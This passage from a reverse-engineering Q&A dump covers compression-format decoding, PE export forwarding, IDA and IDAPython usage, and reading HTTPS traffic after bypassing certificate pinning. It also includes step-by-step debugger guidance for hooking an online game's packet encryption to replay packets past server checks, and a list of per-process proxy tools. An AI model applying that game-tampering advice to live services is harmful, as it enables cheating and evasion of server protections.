        "Answer": "<p>As you say it is an LZ77 style format, however I could not find a specific algorithm which it matches.  The compressed data forms a number of blocks, each of which contain at least one of some data, or some back references.</p>\n\n<h1>Format</h1>\n\n<p>Based on the code I've put together a listing of the data structure of the compressed data.</p>\n\n<h2>Block</h2>\n\n<p>The format of each block is as follows:</p>\n\n<pre><code>Section                | Length\n-----------------------|-------\nHeader                 | 1 to 3 Bytes (see header explanation)\nData                   | 0 to 0x1011D (65821) Bytes\nBack references        | 0 to 8 occurences of 1 to 4 Bytes (see back reference explanation)\n</code></pre>\n\n<h2>Header</h2>\n\n<p>The header is as follows:</p>\n\n<pre><code>Section                | Length\n-----------------------|-------\nNum Back References    | 3 bits\nData Length            | 5 bits\nAdditional Data Length | 0 to 2 Bytes\n</code></pre>\n\n<p>The number of back references is encoded into the first 3 bits as a 1 indexed number, allowing a number from 1 (<code>0b000</code>) to 8 (<code>0b111</code>).\nIn the case that more than 8 back references are required a data length of 0 can be set so you can have several consecutive blocks containing only back references.</p>\n\n<p>The data length is encoded into the next 5 bits.\nIf the data length is less than <code>0x1E</code> (30) then it is encoded directly into the top 5 bits of the header.\nIf it is between <code>0x1E</code> and <code>0x11E</code> (286) then a single additional byte will be used, this byte should be the length of the data - <code>0x11E</code>.\nIf it is between <code>0x11E</code> and <code>0x1011D</code> (65821) then two additional bytes are used as a 16 bit number, which should be the length of the data - <code>0x11E</code>.</p>\n\n<p>If the data length is the maximum possible (<code>0x1011D</code>) then the number of back references is reduced by one, allowing 0 back references.  This allows consecutive data sections without back references.</p>\n\n<h2>Back reference</h2>\n\n<p>The format of the back references is similar to that of the header:</p>\n\n<pre><code>Section                | Length\n-----------------------|-------\nData Length            | 3 bits\nData Distance          | 5 bits\nAdditional Data Length | 0 to 1 Byte\nAdditional Distance    | 0 to 2 Bytes\n</code></pre>\n\n<p>The length of data (in bytes) to which the reference refers is encoded into the first 3 bits, allowing length of 0 - 7.\nIf the length is greater than 7 then these 3 bits are set to 0 and an additional byte is added, containing the length - 7, this allows lengths of up to 262 bytes.</p>\n\n<p>The distance represents the position of the back reference, in bytes back from the current end of the decompressed data.  The distance and additional distance bytes are calculated in the same way as the Data Length in the header.</p>\n\n<p>When set, each back reference will copy the calculated data length in bytes from <code>current_position - distance - 1</code> to the output stream.</p>\n\n<p>There is a special case of a back reference with the length and additional length set to 0.  This signifies the end of the stream, and the decompressor will return.</p>\n\n<h1>Reasoning</h1>\n\n<p>The overall format of a block is reasonably evident from the code, however didn't really make sense until I'd worked out the reasoning behind the magic numbers.</p>\n\n<p>The interesting thing here was the special case of <code>distance = 0x1011D</code>.\nTo get to the branch which checks for that distance the distance from the intial <code>distance = temp &gt;&gt; 3;</code> must be greater than <code>0x1E</code>, so it must be <code>0x1F</code>, as no other value above <code>0x1E</code> would fit in the top 5 bits of <code>temp</code>.\nWith this information we can calculate the necessary values of the next 2 bytes (<code>a</code>, and <code>b</code>):</p>\n\n<pre><code>0x1011D = 0x1F + a + (b &lt;&lt; 8) + 0xFF\n0x1001E = 0x1F + a + (b &lt;&lt; 8)\n0x0FFFF = a + (b &lt;&lt; 8)\n</code></pre>\n\n<p>As <code>a</code> and <code>b</code> are 8 bit numbers they must necessarily both be <code>0xFF</code>.\nThus <code>0x1011D</code> is the largest possible value for <code>distance</code> at that point.</p>\n\n<p>The reasoning for the <code>length--</code> associated with the conditional becomes apparent: This allows for raw data blocks with no back references, for use in cases such as images or other poorly compressible data.</p>\n\n<p>Other than this, the range of numbers that the Data Length supports can be easily calculated by considering the result of setting <code>temp</code> to <code>0b11111???</code> and <code>0b11110???</code> and checking the maximum and minimum values of the following two bytes.</p>\n\n<p>Having understood the block header format the back reference format is fairly easy to understand, the main gotcha being that <code>length = 0</code> with a following byte of <code>0</code> ends the stream.</p>\n\n<h1>Writing a counterpart compression algorithm</h1>\n\n<p>If you do not need the files to fit in the same space as the original files then the easiest way to \"compress\" your own files is to ignore the actual compression features of the format, and do the bare minimum of creating maximum size data blocks until the final block, which will have a single back reference, that being the end of stream signal.  A quick implementation of this follows.</p>\n\n<pre><code>#include &lt;cstring&gt;\n#include &lt;string&gt;\n#include &lt;iostream&gt;\n#include &lt;vector&gt;\n#include &lt;deque&gt;\n#include &lt;fstream&gt;\n#include &lt;iterator&gt;\n\nunsigned int decompress(uint8_t *decompressed, uint8_t *compressed)\n{\n    uint32_t distance, length, i, j;\n    uint8_t temp, *compressed_ptr = compressed,\n            *decompressed_ptr = decompressed, *backwards_ptr = NULL;\n\n    while (1)\n    {\n        temp = *(compressed_ptr++);\n        length = (temp &amp; 7) + 1;\n        distance = temp &gt;&gt; 3;\n\n        if (distance == 0x1E)\n            distance = *(compressed_ptr++) + 0x1E;\n        else if (distance &gt; 0x1E)\n        {\n            distance += *compressed_ptr;\n            distance += (*(++compressed_ptr) &lt;&lt; 8) + 0xFF;\n            compressed_ptr++;\n            if (distance == 0x1011D)\n                length--;\n        }\n\n        if (distance != 0)\n        {\n            std::memcpy(decompressed_ptr, compressed_ptr, distance);\n            decompressed_ptr += distance;\n            compressed_ptr += distance;\n        }\n\n        for (i = length; i &gt; 0; i--)\n        {\n            temp = *(compressed_ptr++);\n            length = temp &amp; 7;\n            distance = temp &gt;&gt; 3;\n\n            if (length == 0)\n            {\n                length = *(compressed_ptr++);\n                if (length == 0)\n                {\n                    return (uintptr_t)decompressed_ptr -\n                        (uintptr_t)decompressed;\n                }\n                length += 7;\n            }\n\n            if (distance == 0x1E)\n                distance = *(compressed_ptr++) + 0x1E;\n            else if (distance &gt; 0x1E)\n            {\n                distance += *compressed_ptr;\n                distance += (*(++compressed_ptr) &lt;&lt; 8) + 0xFF;\n                compressed_ptr++;\n            }\n\n            backwards_ptr = decompressed_ptr - distance - 1;\n            for (j = length; j &gt; 0; j--)\n                *(decompressed_ptr++) = *(backwards_ptr++);\n        }\n    }\n}\n\nstd::vector&lt;uint8_t&gt; compress(const std::vector&lt;uint8_t&gt;&amp; input)\n{\n    const uint32_t max_distance = 0x1011D;\n    std::vector&lt;uint8_t&gt; output;\n\n    auto input_it = input.begin();\n\n    // Repeat as many max length blocks as we can\n    auto remaining_input = std::distance(input_it, input.end());\n    while(remaining_input &gt; max_distance)\n    {\n        output.push_back(0xF8);\n        output.push_back(0xFF);\n        output.push_back(0xFF);\n        std::copy(input_it, input_it + max_distance, std::back_inserter(output));\n        input_it += max_distance;\n\n        remaining_input = std::distance(input_it, input.end());\n    }\n\n    // Add a final block with the remaining data\n    if(remaining_input &gt; 0x11D)\n    {\n        output.push_back(0xF8);\n        const uint16_t header_bytes = remaining_input - 0x11E;\n        output.push_back(header_bytes &amp; 0xFF);\n        output.push_back(header_bytes &gt;&gt; 8);\n        std::copy(input_it, input.end(), std::back_inserter(output));\n    }\n    else if(remaining_input &gt; 0x1D)\n    {\n        output.push_back(0xF0);\n        const uint8_t header_byte = remaining_input - 0x1E;\n        output.push_back(header_byte);\n        std::copy(input_it, input.end(), std::back_inserter(output));\n    }\n    else\n    {\n        const uint8_t header_byte = remaining_input &lt;&lt; 3;\n        output.push_back(header_byte);\n        std::copy(input_it, input.end(), std::back_inserter(output));\n    }\n\n    // Add a special case 0 length back reference to end the stream\n    output.push_back(0x00);\n    output.push_back(0x00);\n\n    return output;\n}\n\nint main(int argc, char* argv[])\n{\n    std::deque&lt;std::string&gt; args(argv, argv+argc);\n    args.pop_front();\n\n    if(args.empty())\n    {\n        std::cerr &lt;&lt; \"No input files!\" &lt;&lt; std::endl;\n        return 1;\n    }\n\n    for(const auto&amp; filename : args)\n    {\n        std::ifstream in_file(filename, std::ios::in | std::ios::binary);\n        if(!in_file.good())\n        {\n            std::cerr &lt;&lt; \"Bad input file: \" &lt;&lt; filename &lt;&lt; std::endl;\n            return 1;\n        }\n\n        std::cout &lt;&lt; \"Compressing \" &lt;&lt; filename &lt;&lt; std::endl;\n\n        std::vector&lt;uint8_t&gt; input(\n            (std::istreambuf_iterator&lt;char&gt;(in_file)),\n            (std::istreambuf_iterator&lt;char&gt;())\n        );\n\n        auto compressed = compress(input);\n        std::cout &lt;&lt; \"Compressed from \" &lt;&lt; input.size() &lt;&lt; \" to \" &lt;&lt; compressed.size() &lt;&lt; std::endl;\n\n        const std::string new_filename = filename + \".compres\";\n        std::ofstream out_file(new_filename);\n        out_file.write((char*)compressed.data(), compressed.size());\n        out_file.close();\n        std::cout &lt;&lt; \"Saved as \" &lt;&lt; new_filename &lt;&lt; std::endl;\n\n        const int buffer_length = 2000000;\n        uint8_t buffer[buffer_length];\n\n        const int size = decompress(buffer, compressed.data());\n\n        std::vector&lt;uint8_t&gt; regenerated;\n        regenerated.assign(buffer, buffer + size);\n\n        if(regenerated == input)\n            std::cout &lt;&lt; \"Regenerated file matches original.\" &lt;&lt; std::endl;\n        else\n            std::cout &lt;&lt; \"Regenerated file DOES NOT MATCH original!\" &lt;&lt; std::endl;\n    }\n\n    return 0;\n}\n</code></pre>\n\n<p>Compile: <code>clang++ --std=c++14 -o fake_compress fake_compress.cpp</code></p>\n\n<p>And run:</p>\n\n<pre><code>$ ./fake_compress havok.xml\nCompressing havok.xml\nCompressed from 137261 to 137272\nSaved as havok.xml.compres\nRegenerated file matches original.\n</code></pre>\n"
    },
    {
        "Id": "16023",
        "CreationDate": "2017-08-06T22:16:05.163",
        "Body": "<p>I'm writing an analog of <code>GetProcAddress</code> function. When looking inside the export table I see the exports like this in advapi32.dll for example:</p>\n\n<pre><code>.text:4C362BAA aEventregister  db 'EventRegister',0    ; DATA XREF: .text:off_4C35FE10o\n.text:4C362BB8                                         ; Exported entry 1290. EventRegister\n.text:4C362BB8                 public EventRegister\n.text:4C362BB8 EventRegister   db 'ntdll.EtwEventRegister', 0\n</code></pre>\n\n<p>So it is like a redirect to ntdll function. How to process these entries and how to detect if they lead to another library call?</p>\n\n<p>Currently I just find the function ordinal by name and get its address, but for exports like this addresses are invalid (inside the address there is junk code).</p>\n\n<p>Do I need to just read the string <code>ntdll.EtwEventRegister</code> at the ordinal address, split it by dot and get dll/function names?</p>\n\n<p>If this is the case, how do I detect that the export address is just a string with this dll/function name? I need to somehow check if there is a valid string there, there should be other way, like some flag etc.</p>\n",
        "Title": "Exports that redirects to other library",
        "Tags": "|disassembly|c|pe|executable|",
        "Answer": "<p>The other two answers are wrong.\nI reversed <code>link.exe</code> and the way it works is that if the \u201cfunction\u201d points into the export directory</p>\n<pre><code>(NTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress &lt;= func_ptr &lt; NTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + NTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)\n</code></pre>\n<p>it is a forwarded export (i.e. you will find a string there).</p>\n<p>The method from the other two answers used to work because the linker used to put the export directory as well as the forward strings into the <code>.data</code> section, but that is no longer the case. Newer linkers put the export directory and the forward strings into the <code>.text</code> section (where all the \u201cactual\u201d functions reside as well), so checking whether the \u201cfunction\u201d is in the same section as the export directory will no longer work.</p>\n"
    },
    {
        "Id": "16027",
        "CreationDate": "2017-08-07T05:59:56.720",
        "Body": "<p>An executable that access the Internet uses my IP to do so. Is it be possible, with the help of a software or something like that, to change what IP an executable uses to access the Internet? Without the need to change/mask all my system's IP at once. The solution should be able to change a single executable IP, maybe a pack of executables would also work for me.  </p>\n\n<p>I have an executable that sends information to a host, and I need to open 2 or more instances of that executable and need they to reach the host with different IPs.</p>\n\n<pre><code>My IP -&gt; qqq.qqq.qqq\nExecutable 1 -&gt; xxx.xxx.xxx\nExecutable 2 -&gt; yyy.yyy.yyy\n</code></pre>\n\n<p>Where Executable 1 and 2 can use proxy, IP that change all the time, doesn't matter -- they just need to reach the host with different IPs.</p>\n\n<p><strong>Possible easy solution I read once:</strong><br>\nCreate a virtual machine and use a proxy software  on it, programs from my main computer would use my IP, programs from virtual machine would use proxy software IP</p>\n\n<p>But if i could avoid this solution, would be nicer.</p>\n",
        "Title": "Change sending IP of only certain executable",
        "Tags": "|tools|executable|packet|address|",
        "Answer": "<p><em>Following OP's other questions, assuming Windows OS</em>  </p>\n\n<p>This can be achieved with many 3rd-party solutions for Windows, choose the one which fits best to your needs:  </p>\n\n<p><strong>Proxifier</strong></p>\n\n<blockquote>\n  <p>Proxifier allows network applications that do not support working\n  through proxy servers to operate through a SOCKS or HTTPS proxy and\n  chains.</p>\n  \n  <p><a href=\"https://www.proxifier.com/\" rel=\"noreferrer\">https://www.proxifier.com/</a></p>\n</blockquote>\n\n<p><strong>ProcxyCap</strong>  </p>\n\n<blockquote>\n  <p>ProxyCap enables you to redirect your computer's network connections\n  through proxy servers. You can tell ProxyCap which applications will\n  connect to the Internet through a proxy and under what circumstances. </p>\n  \n  <p><a href=\"http://www.proxycap.com/\" rel=\"noreferrer\">http://www.proxycap.com/</a></p>\n</blockquote>\n\n<p><strong>ForceBindIP</strong>  </p>\n\n<blockquote>\n  <p>ForceBindIP is a freeware Windows application that will inject itself\n  into another application and alter how certain Windows socket calls\n  are made, allowing you to force the other application to use a\n  specific network interface / IP address. This is useful if you are in\n  an environment with multiple interfaces and your application has no\n  option to bind to a specific interface.</p>\n  \n  <p><a href=\"https://r1ch.net/projects/forcebindip\" rel=\"noreferrer\">https://r1ch.net/projects/forcebindip</a></p>\n</blockquote>\n\n<hr>\n\n<p>I used <a href=\"https://www.proxifier.com/\" rel=\"noreferrer\">Proxifier</a> in the past for gaming and torrenting purposes and it might be what you're searching for.  </p>\n"
    },
    {
        "Id": "16032",
        "CreationDate": "2017-08-08T04:50:04.517",
        "Body": "<p>I made a DLL that hooks the send function of an MMORPG game. When the <code>send()</code> function is called, it will send the packet in a loop until I stop it instead of just sending the packet one time.</p>\n\n<p>My problem is the packets are encrypted. And, the server checks every packet sent from the client. If the packet that the server expect does not match from what the client sent, the server will disconnect you. So, even if you disable the encryption code in the client, it will still get verified on the server side.</p>\n\n<p>I manage to disable the encryption of the packet by modifying the binary but I still get disconnected because of the above statement. And, I can't send it in an infinite loop because each packet should be different.</p>\n\n<p><strong>Info:</strong></p>\n\n<ul>\n<li>Only the packets sent from client to server are encrypted. The packets from server to client are not encrypted.</li>\n<li>Only the first 2 bytes of the packet is encrypted. The remaining 8 bytes are not. The size of the packet is 10 bytes.</li>\n<li>I found the function (written in assembly) where it generates the dynamic key used to encrypt the first 2 bytes. I wanted to use that codes but I don't know how to translate them into a higher level language like c++.</li>\n</ul>\n\n<p><strong>Decryption Function</strong></p>\n\n<pre><code>unsigned short clif_decrypt_cmd( int cmd, struct map_session_data *sd ) {\n  if (sd) {\n    return (cmd ^ ((sd-&gt;cryptKey &gt;&gt; 16) &amp; 0x7FFF));\n  }\n  return (cmd ^ ((((clif-&gt;cryptKey[0] * clif-&gt;cryptKey[1]) + clif-&gt;cryptKey[2]) &gt;&gt; 16) &amp; 0x7FFF));\n}\n</code></pre>\n\n<p><strong>Question:</strong></p>\n\n<ul>\n<li>How can I achieve my goal to send the packet in an infinite loop if each packet is checked by the server?</li>\n<li>Should I use the function that encrypts the first two bytes before sending each time I send it?</li>\n</ul>\n",
        "Title": "Reverse Packet Encryption with server side checks",
        "Tags": "|ida|disassembly|assembly|ollydbg|debugging|",
        "Answer": "<p>First of all the statement </p>\n\n<blockquote>\n  <p>If the packet that the server expect does not match from what the client sent, the server will disconnect you.</p>\n</blockquote>\n\n<p>makes no sense.  </p>\n\n<p>How would the server know what you are going to send to him?<br>\nMaybe you ment that the server disconnects you if you malform the packet (change the structure of the packet - or, for example, by disabling the packet encryption - in this case the server would try to decrypt it and would get non interpretable results).</p>\n\n<p><strong>So to answer your question:</strong></p>\n\n<p>IMO you have two possible ways to achieve your goal:</p>\n\n<ol>\n<li>Find the function that creates the packet before it is encrypted and use it to send your own data.</li>\n<li>Understand how the network protocol and cryptography of your game works and rebuild it in your own program.</li>\n</ol>\n\n<p>I'd suggest you use the first option since it's the simpler one. While the second option provides you more flexibility I don't think it's feasable for you since you said <code>but I don't know how to translate them into a higher level language like c++.</code>.</p>\n\n<p>I can only provide you with general instructions since you didn't post much information about your target (name, some assembly snippets, if it uses TCP or UDP, ..):</p>\n\n<ol>\n<li>Use a dynamic debugger to find the function mentioned in #1. I prefer <a href=\"https://x64dbg.com\" rel=\"nofollow noreferrer\" title=\"x64dbg\">x64dbg</a> since it works for both, x86 and x64 bit applications.</li>\n<li>Set a breakpoint on the socket send function. Which send function is used depends on your game but possible candidates are <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms740149(v=vs.85).aspx\" rel=\"nofollow noreferrer\" title=\"send msdn\">send</a>, <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms740148(v=vs.85).aspx\" rel=\"nofollow noreferrer\" title=\"sendto msdn\">sendto</a>, <a href=\"https://msdn.microsoft.com/de-de/library/windows/desktop/ms742203(v=vs.85).aspx\" rel=\"nofollow noreferrer\" title=\"WSASend msdn\">WSASend</a> and <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms741693(v=vs.85).aspx\" rel=\"nofollow noreferrer\" title=\"WSASendTo msdn\">WSASendTo</a>.</li>\n<li>Find the used send function by placing a breakpoint on all of them and watch which bp triggers. Now you know which function is used to send the data to the game server. I'll use <code>WSASendTo</code> in this example since it's very common in modern udp applications (I assume your game uses UDP - I could be wrong tho).</li>\n<li>As you know by the documentation of <code>WSASendTo</code> the function takes a pointer to one or more <code>WSABUF</code> structures as second argument. Usually it's just one <code>WSABUF</code>.</li>\n<li>Since almost every windows api function is a <code>__stdcall</code> the second argument will be at <code>[esp+0x8]</code> when your breakpoint triggers (<code>[esp]</code> is the return address, <code>[esp+0x4]</code> is the first argument <code>_In_ Socket s</code>).</li>\n<li>If you use x64dbg you can now follow the pointer to the <code>WSABUF</code> structure \"in dump\" to see the contents of it. You can also follow the return address at <code>[esp]</code> to find the function which called <code>WSASendTo</code>.</li>\n<li>You will probably need to restart the game a few times and set new breakpoints on the function which called the windows send function.</li>\n<li>At some point you will see that the contents of the buffer change - you said that only the first two bytes are encrypted, so you already know at what to put your eyes at.</li>\n<li>At this point you should know which function is responsible for encrypting your data. Maybe this is already all you need - maybe you need to go a bit higher in the calling hierarchy to find the function which actually starts the whole <code>packet create-encrypt-send</code> process.</li>\n</ol>\n\n<p>Hope that helps!</p>\n"
    },
    {
        "Id": "16034",
        "CreationDate": "2017-08-08T12:57:21.567",
        "Body": "<p>I'm not an expert in reversing and even though Googling is usually enough, this time I can't find a solution.</p>\n\n<p>I have this program that calculates a value from some data it received from a server.</p>\n\n<p>I know the final value and I managed to find it in the memory after the calculation is done, but I want to know which instruction wrote it in the memory.</p>\n\n<p>Is there a way to do that with IDA Pro? I thought about the trace replayer but I never used it and from what I can read this wouldn't work. If not, is there any other disassembler that would make it possible?</p>\n",
        "Title": "How to find out which instruction wrote to a specific address?",
        "Tags": "|ida|memory|",
        "Answer": "<p><a href=\"http://github.com/cheat-engine/cheat-engine\" rel=\"nofollow noreferrer\">Cheat Engine</a> is a wonderful dynamic analysis tool for tasks like this. Simply find the memory address storing your value, add it to the address list at the bottom (by double-clicking on it in the results window to the left of the scan box, or click the <em>Add Address Manually</em> button if you have the address to add), then right-click on the address and choose \"Find out what writes to this address,\" as pictured here:</p>\n\n<p><a href=\"https://i.stack.imgur.com/wQ7HH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wQ7HH.png\" alt=\"enter image description here\"></a></p>\n\n<p>A window will then pop up showing any instructions that write to the address (note that you may have to make the value change before the instruction shows as writing to the address). Also be mindful of the installer as CE is bundled with \"offers\" you'll most likely want to decline.</p>\n"
    },
    {
        "Id": "16044",
        "CreationDate": "2017-08-09T09:53:31.423",
        "Body": "<p>I would like to understand better what is that information on \"graphic views\" at the inspector of Hopper Disassembler. I've checked the tutorial but it just skips this section.</p>\n\n<p><a href=\"https://i.stack.imgur.com/Lorpp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Lorpp.png\" alt=\"Entropy view\"></a></p>\n\n<p>Thanks.</p>\n",
        "Title": "How does the 'graphic views' on Hopper Disassembler work?",
        "Tags": "|disassemblers|ios|hopper|",
        "Answer": "<p>This seems to be a <a href=\"https://en.wikipedia.org/wiki/Hilbert_curve\" rel=\"nofollow noreferrer\">Hilbert curve</a> representation of the binary's entropy values (probably each pixel is averaged over some small byte range). It was likely inspired by this work:</p>\n\n<p><a href=\"https://corte.si/posts/visualisation/binvis/index.html\" rel=\"nofollow noreferrer\">https://corte.si/posts/visualisation/binvis/index.html</a></p>\n"
    },
    {
        "Id": "16045",
        "CreationDate": "2017-08-09T15:31:12.980",
        "Body": "<p>I managed to overcome certificate pinning in an android application and I am now able to view all the HTTPS request in plain text. However, I came across this request that I still do not understand:</p>\n\n<p><a href=\"https://i.stack.imgur.com/K4l5J.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/K4l5J.png\" alt=\"enter image description here\"></a></p>\n\n<p>We can see that it is a POST request with some 'junk' data at the bottom. At first, I thought this 'junk' is some form of encrypted data. However, after looking at the decompiled source code, it does not seem to use any form of encryption as shown below.</p>\n\n<pre><code>@Override\npublic List&lt;byte[]&gt; sendBatch(String serializable, List&lt;byte[]&gt; list) throws AmazonClientException {\n    void var2_7;\n    void var1_3;\n    if (var2_7 == null || var2_7.isEmpty()) {\n        List list2 = Collections.emptyList();\n        return var1_3;\n    } else {\n        PutRecordBatchRequest putRecordBatchRequest = new PutRecordBatchRequest();\n        putRecordBatchRequest.setDeliveryStreamName((String)((Object)serializable));\n        ArrayList&lt;Record&gt; arrayList = new ArrayList&lt;Record&gt;(var2_7.size());\n        for (byte[] arrby : var2_7) {\n            Record record = new Record();\n            record.setData(ByteBuffer.wrap(arrby));\n            arrayList.add(record);\n        }\n        putRecordBatchRequest.setRecords(arrayList);\n        putRecordBatchRequest.getRequestClientOptions().appendUserAgent(this.userAgent);\n        PutRecordBatchResult putRecordBatchResult = this.client.putRecordBatch(putRecordBatchRequest);\n        int n2 = putRecordBatchResult.getRequestResponses().size();\n        ArrayList arrayList2 = new ArrayList(putRecordBatchResult.getFailedPutCount());\n        int n3 = 0;\n        do {\n            ArrayList arrayList3 = arrayList2;\n            if (n3 &gt;= n2) return var1_3;\n            if (putRecordBatchResult.getRequestResponses().get(n3).getErrorCode() != null) {\n                arrayList2.add(var2_7.get(n3));\n            }\n            ++n3;\n        } while (true);\n    }\n}\n</code></pre>\n\n<p>I searched for the method putRecordBatch and came across the docs: <a href=\"http://docs.aws.amazon.com/firehose/latest/APIReference/API_PutRecordBatch.html\" rel=\"nofollow noreferrer\">http://docs.aws.amazon.com/firehose/latest/APIReference/API_PutRecordBatch.html</a>\nand realise that the syntax is of the form:</p>\n\n<pre><code>{\n   \"DeliveryStreamName\": \"string\",\n   \"Records\": [ \n      { \n         \"Data\": blob\n      }\n   ]\n}\n</code></pre>\n\n<p>where I believe the 'junk' data is simply just another form of the json object above. Is there any way I can convert this junk data to a more readable form?</p>\n",
        "Title": "Need help understanding \"garbage\" data in https request",
        "Tags": "|android|java|apk|byte-code|https-protocol|",
        "Answer": "<p>The content is encoded with gzip per the <code>Content-encoding</code> header. You can use the decoder in Burp proxy (if that is what you are currently using) to decode the data or by using for intance <code>gunzip</code> in the Linux command line.</p>\n"
    },
    {
        "Id": "16049",
        "CreationDate": "2017-08-10T04:17:21.003",
        "Body": "<p>A very similar (or exact) question was asked <a href=\"https://reverseengineering.stackexchange.com/questions/12204/unable-to-view-stack-and-memory-addresses-in-ida-pro\">here</a>, though it was not answered properly. </p>\n\n<p><a href=\"https://i.stack.imgur.com/Mvel0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Mvel0.png\" alt=\"enter image description here\"></a></p>\n\n<p>I am debugging a process in IDA and am unable to view the dynamic contents of the stack because its value points beyond the address shown in IDA's <code>Stack view</code>. My ESP is shown as pointing to <code>0xFFFFD95C</code> upon entry at <code>main</code>, while the largest address shown by IDA is <code>0xFEFFFFFC</code>.</p>\n\n<p>Is there a way to expand this memory range to the end of memory (i.e. <code>0xFFFFFFFF</code>)? </p>\n\n<p>For those interested, the binary under test is the <code>ELF Crack Me 1 - Time to learn x86 ASM &amp; gdb</code> challenge over at <a href=\"http://ringzer0team.com\" rel=\"nofollow noreferrer\">ringzer0team.com</a>.</p>\n",
        "Title": "ESP out of range of \"Stack View\" in IDA",
        "Tags": "|ida|debugging|stack|",
        "Answer": "<p>It seems you're using the GDB debugger backend. It does not provide enough information to IDA about available memory ranges, about which you usually get  a warning on startup:</p>\n\n<pre><code>---------------------------\nInformation\n---------------------------\nThe current debugger backend (gdb) does not provide memory information to IDA.\nTherefore the memory contents may be invisible by default.\nPlease use the Debugger/Manual memory regions menu item to configure the memory layout.\nIt is possible to define just one big region for the whole memory\n(IDA will display question marks for missing memory regions in this case).\n---------------------------\nOK   \n---------------------------\n</code></pre>\n\n<p>So IDA defaults to 0-0xFF000000 (addresses above 0xFF000000 are used by IDA for internal netnode IDs and may lead to issues if used in actual program). So there are two solutions:</p>\n\n<ol>\n<li><p>Edit the memory regions made by IDA (Edit-Manual memory regions...) and add  a new one covering the regions you need (e.g. 0 to 0xFFFFFFF0, or a few smaller ones).</p></li>\n<li><p>Instead of GDB, use IDA's own Linux debugger which can properly query the OS about available memory regions.</p></li>\n</ol>\n"
    },
    {
        "Id": "16055",
        "CreationDate": "2017-08-10T15:17:31.277",
        "Body": "<p>I am trying to write an IDAPython script that will return a list of references to a local stack-frame variable. However, I couldn't find any API that does so.</p>\n\n<p>What I am trying to achieve is a code like:\n<code>xrefs = get_variable_references('arg_4')</code> that will return the results corresponding with the GUI's results:</p>\n\n<p><a href=\"https://i.stack.imgur.com/TB4B7.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/TB4B7.png\" alt=\"GUI&#39;s results\"></a></p>\n\n<p>Thanks in advance.</p>\n",
        "Title": "idapython - Get Xrefs to a stack variable",
        "Tags": "|ida|disassembly|idapython|disassemblers|idapro-sdk|",
        "Answer": "<p>There is one function that does this: <code>build_stkvar_xrefs</code>, defined in C++ but exposed via the Python SWIG bindings. IDA builds stack xrefs dynamically when you ask for it. In order to use the function, it requires a little bit of setup.</p>\n\n<p>You'll need to use a few functions to get what you need:</p>\n\n<ul>\n<li><code>get_func(ea)</code>: retrieves the <code>func_t</code> structure for the function at <code>ea</code></li>\n<li><code>get_frame(func_t foo)</code>: returns the <code>struct_t</code> structure for the\nfunction frame specified by <code>foo</code></li>\n<li><code>DecodeInstruction(ea)</code>: returns the <code>inst_t</code> representing instruction at <code>ea</code></li>\n<li><code>get_stkvar(op_t op, sval_t v)</code>: <code>op</code> is a reference to an instruction, <code>v</code> is the immediate value in the operand. Usually you just use <code>op.addr</code>. It returns a tuple, <code>(member_t, val)</code>. <code>member_t</code> is a pointer to the stack variable, which is what we need. <code>val</code> is the same value as the <code>soff</code> field in the <code>member_t</code> for the stack var. More on this later.</li>\n<li><code>xreflist_t()</code>: creates a new <code>xreflist</code> of <code>xreflist_entry_t</code></li>\n<li><code>build_stkvar_xrefs(xreflist_t xrefs, func_t func, member_t member)</code>: fills xrefs with <code>xreflist_entry_t</code>'s that represent the stack var xrefs given by <code>member</code> in <code>func</code>.</li>\n<li><code>struct_t.get_member(x)</code>: You can use this method to iterate all stack variables in a frame to retrieve all <code>member_t</code>'s. If you want to build xrefs for all stack variables, this is usually easier.</li>\n</ul>\n\n<p>Here's an example of how this all ties together:</p>\n\n<pre><code># 0x4012d0 is the function address\n# 0x4012dc is an instruction address referencing\n# a stack variable. It looks like:\n# mov [ebp - 4], ecx\n\npFunc = get_func(0x4012d0)\npFrame = get_frame(pFunc)\ninst = DecodeInstruction(0x4012dc)\nop = inst[0] #first operand references stack var\npMember, val = get_stkvar(op, op.addr)\nxrefs = xreflist_t()\nbuild_stkvar_xrefs(xrefs, pFunc, pMember)\nfor xref in xrefs:\n    print hex(xref.ea) #print xref address\n\n# Contrived member dictionary example.\ndictMem = dict()\nx = 0\nwhile(x &lt; pFrame.memqty):\n    dictMem[GetMemberName(pFrame.id, pFrame.get_member(x).soff)] = pFrame.get_member(x)\n    x = x+1\n# given var name you can now use the\n# dictionary to grab the member_t to pass\n# to build_stkvar_xrefs\npMem = dictMem[\"var_4\"]\nxrefs = xreflist_t()\nbuild_stkvar_xrefs(xrefs, pFunc, pMem)\nfor xref in xrefs:\n    print hex(xref.ea) #print xrefs to var_4\n</code></pre>\n\n<p><code>soff</code> isn't a stack offset. I think it means \"structure offset\", and it's an offset into the frame structure so you can retrieve other bits of information. You'll need this field to use other stack variable related functions such as: SetMemberType, SetMemberName, GetMemberName, DelStrucMember, etc. </p>\n\n<p>So, for a simple on the fly variable name to xref lookup, you can do something like:</p>\n\n<pre><code>def get_stack_xrefs(func_ea, var_name):\n    pFunc = get_func(func_ea)\n    pFrame = get_frame(pFunc)\n    pMember = None\n    result = []\n    while(x &lt; pFrame.memqty):\n        if GetMemberName(pFrame.id, pFrame.get_member(x).soff) == var_name:\n           pMember = pFrame.get_member(x)\n           break; \n        x = x+1\n    if pMember: \n        xrefs = xreflist_t()\n        build_stkvar_xrefs(xrefs, pFunc, pMember)\n        for each in xrefs:\n            result.append(each.ea)\n    return result\n</code></pre>\n\n<p>If you want more information on these functions, I recommend taking a look at the following modules from the IDA SDK documentation (in no particular order):</p>\n\n<ul>\n<li>funcs.hpp</li>\n<li>frame.hpp</li>\n<li>struct.hpp</li>\n</ul>\n\n<p>Reference: <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/files.html\" 